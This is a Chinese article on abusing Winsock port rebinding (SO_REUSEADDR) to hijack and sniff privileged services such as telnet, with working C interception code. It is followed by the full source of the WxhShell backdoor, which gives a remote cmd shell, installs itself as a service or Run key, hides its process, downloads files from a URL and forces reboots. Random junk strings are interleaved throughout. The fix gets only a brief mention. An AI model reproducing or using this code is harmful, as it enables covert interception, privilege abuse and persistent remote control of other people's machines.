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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Enr8"+.( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i_8q!CL@{ gE8p**LT+ saddr.sin_family = AF_INET; VE{[52 c0M=T saddr.sin_addr.s_addr = htonl(INADDR_ANY); X=]FVHV; sE7!U| bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'P(S*sr 6c-y<J+&s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F.ml]k&(m n]G!@-z 这意味着什么?意味着可以进行如下的攻击: ;QbMVY h; 105$E1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bp Q/#\Z I\J^@&JE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _IiTB {p&M(W] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *cn,[ ],{b&\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dbF?#s~u !C>}j* 4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "{-jZdq' *{|{T_H: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mk#xbvvG &t1?=F,] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >g8H v:0. #include 9C[i#+_3M #include B;.]<k'3 #include 0 =#)-n #include /Zs;dam DWORD WINAPI ClientThread(LPVOID lpParam); 1s5FjD?M int main() FTvFtdY { j?sq i9# WORD wVersionRequested; g/Q hI DWORD ret; ]#>;C: L WSADATA wsaData; 8$</HNu, BOOL val; Z%_"-ENT SOCKADDR_IN saddr; eZ+pZ q SOCKADDR_IN scaddr; n<47#- int err; Bu4J8eLx SOCKET s; PScq-*^ SOCKET sc; t.'| [pOV int caddsize; |E:q!4?0 HANDLE mt; #;ezMRKM" DWORD tid; =@w,D.5h wVersionRequested = MAKEWORD( 2, 2 ); Cz@[l=-T7 err = WSAStartup( wVersionRequested, &wsaData ); 4E[ 9)n+YV if ( err != 0 ) { P9(]9np,, printf("error!WSAStartup failed!\n"); L|hsGm\ return -1; c\.Hs9T > } T;/Y/Fd saddr.sin_family = AF_INET; ?`R;ZT)U-
LJ7Qwh_", //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3D<s# dd4g?): saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Z.<=D saddr.sin_port = htons(23); &K
Ti[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *h59Vaoc { {=n-S2% printf("error!socket failed!\n"); ;OjxEXaq return -1; x>MrB } 4t3Y/X val = TRUE; 0N02 E //SO_REUSEADDR选项就是可以实现端口重绑定的 D|`O8o?) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !Yuu~| { 7q_B`$ata printf("error!setsockopt failed!\n"); n^Co return -1; uA#uq^3 } :ryyo$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3q7Z?1'o
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CjW`cHd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LU$aCw5 B; C4vmgl& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3|1ug92
{ $#q:\yQsPC ret=GetLastError(); \ZSZ(p#1 printf("error!bind failed!\n"); q1C) *8*g return -1; rybs9:_} } cs0;:H*N* listen(s,2); 7RW5U'B while(1) Ww8<f$ { 05_aL` &eb caddsize = sizeof(scaddr); =2;2_u? //接受连接请求 -"m4 A0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l)@Zuh if(sc!=INVALID_SOCKET) lP$bxUNt { JBY`Y]V3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \KmgFyF if(mt==NULL) !ho~@sc{W { ,+`1 / printf("Thread Creat Failed!\n"); IK#W80y break; "`Y.N$M`k } ~fL:pVp } (J!FW(Ma|= CloseHandle(mt); Mf [v 7\
} '9O4$s1 closesocket(s); zMZP3
xir WSACleanup(); n/ ]<Bc? return 0; pv/LTv } rof&O DWORD WINAPI ClientThread(LPVOID lpParam) >kK!/#ZA { Co`O{|NS}! SOCKET ss = (SOCKET)lpParam; VK/@jrL+ SOCKET sc; ~M@'=Q*~ unsigned char buf[4096]; ]`[r=cG SOCKADDR_IN saddr; RZwjc<T long num; $:|z{p DWORD val; ldEZ _g^ DWORD ret; C?IvXPlV //如果是隐藏端口应用的话,可以在此处加一些判断 8=XfwwWHy< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +n#kpi'T saddr.sin_family = AF_INET; WJCh{Xn%* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BK,h$z7#6 saddr.sin_port = htons(23); T )QZ9a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0UV5}/2rP { oSGx7dj+ printf("error!socket failed!\n"); EP!zcp2' C return -1;
cM9z b6m } W*D]?hXU; val = 100; 0MV^-M
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3I|&}+Z6 { O3U6"{yJ) ret = GetLastError(); :z=C return -1; /$]#L% } a(|YLN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Kvbpi, { :` FL95 ret = GetLastError(); }o>6 y>= return -1; zGm#erE }
"rnZ<A} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y,I ?3p|S { {Pi+VuLE printf("error!socket connect failed!\n"); }B-@lbK6) closesocket(sc); ;'^5$q closesocket(ss); EN
OaC
return -1; ?fO
2&)r
} 2.Kbj^ while(1) Z_%9LxZlyj { >G4EiJS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '
KX'{Gy //如果是嗅探内容的话,可以再此处进行内容分析和记录 k-o(Q"[ ' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x2@Q5|a num = recv(ss,buf,4096,0); ;4E.Yr* if(num>0) M$|r8%z1 send(sc,buf,num,0); 1h.Ypzu else if(num==0) +59tX2@Q break; p([g/Q num = recv(sc,buf,4096,0); `O:ecPD4M if(num>0) #2N']VP send(ss,buf,num,0); 2&L2G' else if(num==0) ~g&FeMo break; -!X,MDO } T6
K?Xr{_ closesocket(ss); aSu6SU closesocket(sc); ifo^
M]v return 0 ; &C_0JyT } d%IM`S;fh O'5xPJ T#L/HD ========================================================== *3,GQ%~/z x3X^\Ig 下边附上一个代码,,WXhSHELL RTHe#`t %Se@8d8 ========================================================== 6fP"I_c (%\vp**F #include "stdafx.h" )v1y
P SONv])); #include <stdio.h> \ C^fi}/] #include <string.h> n|G x29E #include <windows.h> Y}G 9(Ci& #include <winsock2.h> ]p,svevo #include <winsvc.h> ".n,R"EF #include <urlmon.h> UODbT&& fpCkT [&m #pragma comment (lib, "Ws2_32.lib") }Mh@%2$ #pragma comment (lib, "urlmon.lib") O<A$,<6 7 Qktj #define MAX_USER 100 // 最大客户端连接数 $d<vPpJ3 #define BUF_SOCK 200 // sock buffer Ek0zFnb[Gx #define KEY_BUFF 255 // 输入 buffer QKj8~l( dNQR<v\IL #define REBOOT 0 // 重启 (k{rn3, #define SHUTDOWN 1 // 关机 ~Y-
!PZ X\?PnD`, #define DEF_PORT 5000 // 监听端口 8M{-RlR [2]Ti_
>D #define REG_LEN 16 // 注册表键长度 IK:F~I
#define SVC_LEN 80 // NT服务名长度 b^SQCX+P ck=x_HB1 // 从dll定义API Dd1\$RBo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wi7a_^{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3^ct;gz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %kod31X3< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zv1#PfO@) 5PaOa8=2f // wxhshell配置信息 `y1nex-0 struct WSCFG { jFa{h! int ws_port; // 监听端口 )<]*! char ws_passstr[REG_LEN]; // 口令 W%3<"'eP int ws_autoins; // 安装标记, 1=yes 0=no JG]67v{F char ws_regname[REG_LEN]; // 注册表键名 9VEx0mkdd char ws_svcname[REG_LEN]; // 服务名 'p%\fb6` char ws_svcdisp[SVC_LEN]; // 服务显示名 7Wd}H Z char ws_svcdesc[SVC_LEN]; // 服务描述信息 k0%*{IVPN char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0|1)cO}Dy int ws_downexe; // 下载执行标记, 1=yes 0=no NJ^H"FLS: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h($XR+!# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2ZZ%BV!s j. @CB` }; f!3$xu5
]Wc:9Zb // default Wxhshell configuration 1@xmzTC struct WSCFG wscfg={DEF_PORT, byT@O:f L "xuhuanlingzhe", z0@{5e$#Y 1, oWJ0>) "Wxhshell", /QA:`_</oh "Wxhshell", k&|#(1CFY "WxhShell Service", GFq,Ca~ "Wrsky Windows CmdShell Service", oxs0)B "Please Input Your Password: ", _$&C$q$ 1y 1, =)Aav! " http://www.wrsky.com/wxhshell.exe", Yy,i,c`r "Wxhshell.exe" PRR]DEz }; 'Y6x!i2 EWI2qaSnO // 消息定义模块 my.%zF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Po^Co char *msg_ws_prompt="\n\r? for help\n\r#>"; \Zpg,KOT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2J>v4EWC char *msg_ws_ext="\n\rExit."; 676r0` char *msg_ws_end="\n\rQuit."; vlygS(Y_7 char *msg_ws_boot="\n\rReboot..."; X9|={ng)g# char *msg_ws_poff="\n\rShutdown..."; +,"O#`sy< char *msg_ws_down="\n\rSave to "; S:.Vt&+NJ <)f1skJsP char *msg_ws_err="\n\rErr!"; -&AgjzN! char *msg_ws_ok="\n\rOK!"; 12D>~#J hd~3I4D char ExeFile[MAX_PATH]; 2{- }; int nUser = 0; 4[&L<D6h HANDLE handles[MAX_USER]; m%=]
j<A int OsIsNt; vpnOc2 - +>w %j&B SERVICE_STATUS serviceStatus; p!b_tyJ SERVICE_STATUS_HANDLE hServiceStatusHandle; a9+l:c@ <Mt>v2a3Y // 函数声明 r5 k{mV+ int Install(void); ji8)/ int Uninstall(void); vtm?x,h int DownloadFile(char *sURL, SOCKET wsh); GKT^rc-YT- int Boot(int flag); nm8XHk] void HideProc(void); t08E
2sI int GetOsVer(void); u3[A~V|0= int Wxhshell(SOCKET wsl); )BJ Z{E* void TalkWithClient(void *cs); X:0-FCT;\ int CmdShell(SOCKET sock); +!@@55I- int StartFromService(void); GLS`1! int StartWxhshell(LPSTR lpCmdLine); M5C%(sQ$ '}F=U(! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j9voeV|7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3 P)N, EG7.FjnVu // 数据结构和表定义 ['`Vg=O.{ SERVICE_TABLE_ENTRY DispatchTable[] = AW\#)Em { JBvMe H5 {wscfg.ws_svcname, NTServiceMain}, km 0LLYG {NULL, NULL} =!V-V}KK- }; eu^B "
M+g= // 自我安装 5s /fBS int Install(void) A9 D vU)1 { `A\|qH5`W char svExeFile[MAX_PATH]; n'i~1pM,? HKEY key; 1kX>sajp~ strcpy(svExeFile,ExeFile); ,;
81FK cBGR%w\t% // 如果是win9x系统,修改注册表设为自启动 ^U5g7Emf if(!OsIsNt) { 8c1ma if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ig.9:v` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o 9?#;B$ RegCloseKey(key); f@)GiLC'" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3|Vh[iAa\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v\#1&</qd^ RegCloseKey(key); mO?yrM * return 0; saPg2N, } f ^vz } @i9eH8lT } 8-"lK7 else { d i;Fj #P^cR_|\ // 如果是NT以上系统,安装为系统服务 &3_S+.JO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^! r<-J
if (schSCManager!=0) J+]W*?m { GcHy`bQbiX SC_HANDLE schService = CreateService H[;\[3 ( +~Lt;xNFk schSCManager, T \"eqa wscfg.ws_svcname, an<loLW wscfg.ws_svcdisp, $bho]~ SERVICE_ALL_ACCESS, "m'roU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &%infPI' SERVICE_AUTO_START, #[<XNs!" SERVICE_ERROR_NORMAL, :wcv,YoSG svExeFile, /,`40^U} NULL, C5ia9LpRX NULL, :Qekv(z NULL, !^h{7NmP[ NULL, ww^!|VVa NULL &>KZ4%&? ); 0Xe?{!@a if (schService!=0) :tTP3t5 { \c .^^8r CloseServiceHandle(schService); 'v42Q J"{ CloseServiceHandle(schSCManager); tl@n}
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =eB^(!M strcat(svExeFile,wscfg.ws_svcname); \0'0)@uziQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J;mvD^`g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j_#oP RegCloseKey(key); xBevf&tP return 0; /z(;1$Ld6{ } V39`J*fI } D(YNa CloseServiceHandle(schSCManager); :OFL@byS } wgV?1S>Z } >oOZDuj <aVfgVS return 1; P+/6-C J } )=EJFQ*v "6}
#65 // 自我卸载 +kdZfv> int Uninstall(void) mY& HK) { [$+N"4 HKEY key; &nXa/XIZ_ C EMe2~ if(!OsIsNt) { Ga9^+.j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7L"Pe'Hw RegDeleteValue(key,wscfg.ws_regname); u&7c2|Q RegCloseKey(key); JPt0k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x]X!nx6G RegDeleteValue(key,wscfg.ws_regname); {r.yoI4e RegCloseKey(key); 9[7Gxmf return 0; So^;5tG } lA1l } `VzjXJw } ybNy"2Wk else { /E|Ac&Qk 7Ns1b(kU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _1sjsGp> if (schSCManager!=0) /#]4lFk:h { x*}*0). SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`N,q~@gL if (schService!=0)
1TIP23: { d#OE) ,` if(DeleteService(schService)!=0) { d_r1}+ao CloseServiceHandle(schService); ,FP<#
0F*a CloseServiceHandle(schSCManager); ,vE)/{:d return 0; <T0+-]i } !U?Z<zh CloseServiceHandle(schService); U`HSq=J } :t#N.[=&# CloseServiceHandle(schSCManager); 0**.:K<i } \A'tV/YAd } D$OUy}[2`. WXgGB[x return 1; b f2 B } O*%@(w6 ',g'Tl^E // 从指定url下载文件 <8_~60 int DownloadFile(char *sURL, SOCKET wsh) j1Q"s( { ^]A,Q%1q^ HRESULT hr; $^XCI%DH char seps[]= "/"; {G^f/% char *token; 3%'Y): char *file; xD|CQo}: char myURL[MAX_PATH]; N)tqjq char myFILE[MAX_PATH]; w]ZE('3%W |5h~&kA strcpy(myURL,sURL); iXJ3B&x token=strtok(myURL,seps); Xu+^41 while(token!=NULL) v[UrOT: { F4xXJ"vc file=token; o(5eb;"yi> token=strtok(NULL,seps); HAtf/E] } K>a+-QWK3 "{igrl8 GetCurrentDirectory(MAX_PATH,myFILE); \dzHG/e strcat(myFILE, "\\"); y {PUklq strcat(myFILE, file); +YA,HhX9 send(wsh,myFILE,strlen(myFILE),0); zP(UaSXz/ send(wsh,"...",3,0); d2!A32m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B{^ojV;]m if(hr==S_OK) 6k@(7Mw8A return 0; e71dNL'$ else bW e_<'N return 1; m\];.Da ~t ` uq } -T0@b8 &LD=Zp% // 系统电源模块 9BA*e-[ int Boot(int flag) [IgB78_$ { ^ rB7&96C, HANDLE hToken; f#mcWL1} TOKEN_PRIVILEGES tkp; u#c3T'E (>
{CwtH][ if(OsIsNt) { MkCq$MA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); erW[q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ER ^#J** tkp.PrivilegeCount = 1; [|)Eyd[G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X4bB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0M=U>g) if(flag==REBOOT) { M'"@l$[QM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n=+K$ R return 0; U fzA/ } M&/([>Q else { |~Op|gs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q|N/vkqPz return 0; !jIpgs5 } S=R}# } qyx
' else { 1l(_SD;90t if(flag==REBOOT) { ~$PQ8[= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MBO3y&\S4 return 0; _?+gfi+ } 4 )U,A~! else { 0bt"U=x4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y\sSW0ZX return 0; dg?[gD8!4& } N!u(G } iLyJ7zby 6u'+#nm return 1; a+--2+~= } !RJuH;8 -b7q)%V // win9x进程隐藏模块 ;Az9p h void HideProc(void) j1yW{
{ &QoV(%:] ~G;lEp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rpi@^~aPE if ( hKernel != NULL ) ^Iz(V2 { V\ 7O)g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C]xKdPQj% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y@+e)p{ FreeLibrary(hKernel); YXdd=F } w[A$bqz rerl-T<3 return; (q@DBb4 } )G
a%Eg9 _Kw<4$0<p // 获取操作系统版本 B}(+\Q$I int GetOsVer(void) [YsN c { 2[ #7YWs OSVERSIONINFO winfo; (eOzntp8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,Qd;t GetVersionEx(&winfo); 4Hk eXS. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <yxEGjm return 1; Q|O! cEW/ else |Zn|?#F return 0; $eI=5
} [KT'aGK$ D(m2^\O[ // 客户端句柄模块 CflGj0oy8 int Wxhshell(SOCKET wsl) f*{~N!g { C`uZr k/ SOCKET wsh; t81}jD struct sockaddr_in client; xw)$).yc DWORD myID; ex-0@ bw@"MF{ while(nUser<MAX_USER) }=+J&cR { ;Tn$c70 int nSize=sizeof(client); +;H-0Q5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G<S(P@ss if(wsh==INVALID_SOCKET) return 1; N<e=!LV '\&t3?; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oc51|[
Wj if(handles[nUser]==0) W[dK{?RB closesocket(wsh); y(#Aze{yC else <vP{U nUser++; 2itJD1; } %LH~Im= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Spnshv8 Nan@SuKY return 0; %`kO\q_ } 7V^\fh5~ E&}@P0^ // 关闭 socket VS W:h void CloseIt(SOCKET wsh) UX?EOrfJ { 'T8(md299 closesocket(wsh); D9cpw0{nc nUser--; .+;;-]}) ExitThread(0); Y"x9B%e } gCVgL]jj( y)s+ /Teb // 客户端请求句柄 *~t&Ux#hj void TalkWithClient(void *cs) vy
<(1\ { 9o.WJ 4#5w^ SOCKET wsh=(SOCKET)cs; e75k- char pwd[SVC_LEN]; ObC char cmd[KEY_BUFF]; <v?9:} char chr[1]; )x.}B4z int i,j; k_9tz}Z p[(VhbN while (nUser < MAX_USER) { ]P TTI\n PN{l)&K2. if(wscfg.ws_passstr) { u7u8cVF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l`2X'sw[/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I/bED~Z:a //ZeroMemory(pwd,KEY_BUFF); \lK iUy/ i=0; ?Z @FxW while(i<SVC_LEN) { XA~Rn>7&H Kp*nOZ // 设置超时 (o_fY. fd_set FdRead; %/dYSC
struct timeval TimeOut; P'#m1ntxQ FD_ZERO(&FdRead); =2#a@D6Bl FD_SET(wsh,&FdRead); i0uBb%GMT TimeOut.tv_sec=8; u93=>S TimeOut.tv_usec=0; TB] %?L: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0fvQPs!O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6h
N~< @18"o"c7j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #q~SfG pwd =chr[0]; 1<]g7W if(chr[0]==0xd || chr[0]==0xa) { ,ZcW+! pwd=0; zCD?5*7 break; 07"dU
} ~UjFL~K} i++; I)ub='+&; } wVBY^TE w>T1D // 如果是非法用户,关闭 socket eI?<* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nnmn@t(%r } w:Fi
2aJ 8uoFV=bj\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b
r)o Sw send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Q !4\Gy <@n/[ +3 while(1) { Q3#-q>;7 @oC8: ZeroMemory(cmd,KEY_BUFF); h0NM5 ZLdvzH@' // 自动支持客户端 telnet标准 cgsM]2ZYs j=0; 9+.0ZP? while(j<KEY_BUFF) { B^Q\l!r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zIWw055W cmd[j]=chr[0]; SsDz>PP if(chr[0]==0xa || chr[0]==0xd) { RqW
ZhHI1M cmd[j]=0; Q7$ILW-S break; @FL?,_,Y{ } XOO!jnQu j++; St&xe_:^< } ~.M{n&NM bD<[OerG // 下载文件 9|T%q2O if(strstr(cmd,"http://")) { <Mo_GTOC! send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]{Vq; if(DownloadFile(cmd,wsh)) ~oI7TP send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vb06z3"r else T#^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~#iRh6^98 } KzZ!
CB\ else { >2`)S{pBD !*.mcIQT switch(cmd[0]) { K1Nhz'^=D .]%PnJM9K // 帮助 qIK"@i[
uq case '?': { cD^n}'ej send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^jb55X} break; J_R54Y~vu } m8H|cQ@Uu // 安装 S pDVD case 'i': { V'~]b~R if(Install()) Z{`;Ys:zk send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2>G +t (, else ^8aj\xe( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u&`7 C break; Mjq1qEi"B } #EAP<h // 卸载 A1@tp/L=o case 'r': { fi+u!Y*3Z if(Uninstall()) ZA zn-n send(wsh,msg_ws_err,strlen(msg_ws_err),0); T F&xiL^ else Z}.N4 / send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ," break; jdQ`Y+BC } -,Cx|Nl // 显示 wxhshell 所在路径 9_[TYzpB! case 'p': { }6.R.*Imz char svExeFile[MAX_PATH]; :kq J~ strcpy(svExeFile,"\n\r"); Dna0M0 strcat(svExeFile,ExeFile); Z5;1ySn{ send(wsh,svExeFile,strlen(svExeFile),0); $6h:j#{JE break; =C8 t5BZ" } M*BDrM // 重启 7+JQaYO`" case 'b': { 4&)*PKq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XodA(73`i if(Boot(REBOOT)) %d*k3f
} send(wsh,msg_ws_err,strlen(msg_ws_err),0); M hNzmI&` else { ,xB&{J closesocket(wsh); eIK8J,- ExitThread(0); +ZtqR } n(,b$_JK7 break; V0z.w:- } G>&=rmK" // 关机 ZO{uG(u case 'd': { zx'G0Z9] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .MMFN}1O if(Boot(SHUTDOWN)) Hv(0<k6oH send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`Qw=8]` else { \-N
4G1 closesocket(wsh); 7}>j [ ExitThread(0); :}TT1@ } ej>8$^y break;
]p:x,%nm } 6+BR5Nr // 获取shell Q.#@xaX'{` case 's': { Q+)fI CmdShell(wsh); rA&|!1q"B closesocket(wsh); mf6?8!O}> ExitThread(0); aB"W6[ break; MFcN.M } ge:UliHJ // 退出 S*Scf~Qp case 'x': { CFAz/x@% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G+
PBV%gE[ CloseIt(wsh); [c]X)
@#S break; #o_`$'> } 12DMb9_rp // 离开 [t5:4
Iq case 'q': { 1@RctI_} send(wsh,msg_ws_end,strlen(msg_ws_end),0); #sdW3m_% closesocket(wsh); FiJJe WSACleanup(); :.f =>s] exit(1); pa Uh+"y> break; F.ryeOJ } #K'3`dpL } c 6@!?8J } N,V%/O{Y :XEr{X // 提示信息 xz[a3In+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e@*Gnh<& } ~ z* } >3s9vdUp4h cW;to Q!P return; /=>z|?z3 } :M9'wg n^'ip{ // shell模块句柄 .5|AX6p+^ int CmdShell(SOCKET sock) q PuxYU { ]=of=T: STARTUPINFO si; Ox.&tW%@ ZeroMemory(&si,sizeof(si)); [[P?T^KT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yZ)GP!cM4c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `YAqR?Xj_< PROCESS_INFORMATION ProcessInfo; %5 0}oD@ char cmdline[]="cmd"; EMzJJe{Cv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p8hF`D~ return 0; %YG ~ql } GiJ|5" /
*xP`'T // 自身启动模式 JVf8KHDj int StartFromService(void) `DIIJ<;g { ^-cj=on=Q typedef struct ZXljCiNn+\ { 01}az~&;35 DWORD ExitStatus; j0^~="p%C DWORD PebBaseAddress; n(l!T
7 DWORD AffinityMask; G<OC99;8 DWORD BasePriority; 1VL!0H ULONG UniqueProcessId; ~'KymarPU ULONG InheritedFromUniqueProcessId; LOpnPH` } PROCESS_BASIC_INFORMATION; qEPvV yjvzA|(YC PROCNTQSIP NtQueryInformationProcess; 6 /gh_'& ]]`hnzJX static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Z/aM? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !}|n3wQ xCFk1%qf HANDLE hProcess; R}c,ahd PROCESS_BASIC_INFORMATION pbi; _Sy-&}c+
+ @B
